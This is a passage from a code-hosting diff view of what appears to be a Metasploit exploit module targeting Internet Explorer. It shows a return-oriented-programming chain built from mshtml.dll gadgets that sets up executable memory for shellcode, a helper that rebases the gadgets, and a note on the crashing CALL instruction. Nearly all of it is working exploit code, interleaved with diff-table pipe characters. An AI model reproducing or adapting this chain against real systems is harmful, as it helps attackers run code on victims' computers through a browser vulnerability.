||||||
|
:edx, # 0x00000040-> edx
|
||||||
|
0x158306, # POP ECX # RETN [mshtml.dll]
|
||||||
|
0x535098, # &Writable location [mshtml.dll]
|
||||||
|
0x1cf217, # POP EDI # RETN [mshtml.dll]
|
||||||
|
0xa0001, # RETN (ROP NOP) [mshtml.dll]
|
||||||
|
0x349f9b, # POP EAX # RETN [mshtml.dll]
|
||||||
|
:nop,
|
||||||
|
0x2afbe8 # PUSHAD # RETN [mshtml.dll]
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
nops = make_nops(4).unpack("L")[0].to_i
|
||||||
|
|
||||||
|
rop_gadgets.map! { |e|
|
||||||
|
if e == :junk
|
||||||
|
rand_text(4).unpack("L")[0].to_i
|
||||||
|
elsif e == :neg
|
||||||
|
0xffffffff
|
||||||
|
elsif e == :ebx
|
||||||
|
0x00000800
|
||||||
|
elsif e == :edx
|
||||||
|
0x00000040
|
||||||
|
elsif e == :nop
|
||||||
|
nops
|
||||||
|
else
|
||||||
|
base + e
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
chain = rop_gadgets.pack('V*')
|
||||||
|
return chain
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
=begin
|
|
||||||
6367893A FF51 04 CALL DWORD PTR DS:[ECX+4]
|
|
||||||
=end
|
|
||||||
|
|
Loading…
Reference in New Issue